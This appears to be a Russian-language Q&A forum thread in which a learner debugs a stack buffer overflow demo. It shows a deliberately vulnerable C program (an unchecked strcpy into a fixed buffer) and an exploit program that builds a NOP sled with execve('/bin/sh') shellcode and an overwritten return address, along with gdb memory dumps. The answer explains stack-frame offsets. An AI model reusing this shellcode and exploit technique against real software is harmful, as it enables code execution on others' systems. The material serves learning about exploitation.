Переполнение буфера шелл-код перезаписывает неправильный адрес - PullRequest
0 голосов
/ 25 октября 2018

ПРИМЕЧАНИЕ. Это измененная версия моего оригинального сообщения здесь , но ставит немного другой вопрос.

Я просматриваю это видео при переполнении буфера, но у меня возникли проблемы с репликацией демонстрации.Проблема возникает, когда я выполняю переполнение, предполагаемый адрес возврата не перезаписывается.

Насколько я понимаю, предполагаемый адрес возврата должен быть 0x7fffffffe060.

Этот формат адреса памяти отличается от того, что я видел в демонстрациях и т. Д. Может быть, здесь что-то не так?

gcc команда - gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o Output Output.c

Я вижу, что шелл-кодвведен в стек, но это один «строчный» или адрес памяти по сравнению с ожидаемым.

Ожидание, с моим шелл-кодом:

0x7fffffffe060: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969

Фактический результат:

0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969

Почему целевой обратный адрес 0x7fffffffe060 не перезаписывается в пользу 0x7fffffffe070?

ExploitMe.c

#include<stdio.h>
#include<string.h>

main(int argc, char **argv)
{
    char buffer[80];
    strcpy(buffer, argv[1]);
    return 1;
}

HackYou.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;

char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";

#define NOP 0x90
main()
{
    char buffer[96]; 
    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG=", 4);
    memcpy(buffer+4, shellcode, 24);
    memcpy(buffer+88, retaddr, 4);
    memcpy(buffer+92, "\x00\x00\x00\x00", 4);
    putenv(buffer);
    system("/bin/sh");
    return 0;
}

(gdb) run $EGG

(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x00000001  0x00000000  0xf7e939b5  0x00007fff
0x7fffffffe080: 0x00000000  0x00000000  0x555551bd  0x00005555
0x7fffffffe090: 0xf7fe42a0  0x00007fff  0x00000000  0x00000000
0x7fffffffe0a0: 0x55555170  0x00005555  0x55555050  0x00005555
0x7fffffffe0b0: 0xffffe1a0  0x00007fff  0x00000000  0x00000000

(gdb) c
Continuing.

(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe4d4: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe4e4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe4f4: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe504: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe514: 0x90909090  0xffffe060  0x5f534c00  0x4f4c4f43

(gdb) x/34xw $rsp
0x7fffffffe060: 0xffffe1a8  0x00007fff  0xffffe096  0x00000002
0x7fffffffe070: 0x6850c031  0x68732f6e  0x622f2f68  0x99e38969
0x7fffffffe080: 0xe1895352  0x80cd0bb0  0x90909090  0x90909090
0x7fffffffe090: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe0c0: 0x90909090  0xffffe060  0xf7e14b00  0x00007fff
0x7fffffffe0d0: 0x00000000  0x00000000  0xffffe1a8  0x00007fff
0x7fffffffe0e0: 0x00040000  0x00000002  

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.

1 Ответ

0 голосов
/ 25 октября 2018

Я не смотрел ваше видео, но используемый вами подход сильно зависит от версий компиляторов, параметров компиляции и даже версий операционной системы.Если вы не достигли своей цели, это может быть из-за опции отладки (-g).Опция отладки обычно заставляет компилятор устанавливать надежные кадры стека, чтобы отладчик мог надежно проходить через стек вызовов.

В вашем примере вы ожидаете, что адрес возврата составляет 92 байта от адреса буфера, или3 адреса стека после конца буфера.Таким образом, если вы разберете ExploitMe.c: main (), как будет выглядеть пролог?Сколько регистров передается и что вычитается из rsp?

Вкл (ubuntu 18, gcc 7.3), я получаю 1 push и 96 вычитаем, поэтому адрес возврата находится по смещению 104 из буфера;указатель сохраненного стека находится по смещению 96. Когда я заменил -ggdb на -O, я получил адрес возврата со смещением 88 [таким образом, 92 будет средним или наиболее значимым байтом], и не сохранил указатель стека.

Как указывалось в комментариях, если вы собираетесь использовать недокументированное поведение, вы должны быть в состоянии адаптироваться.

...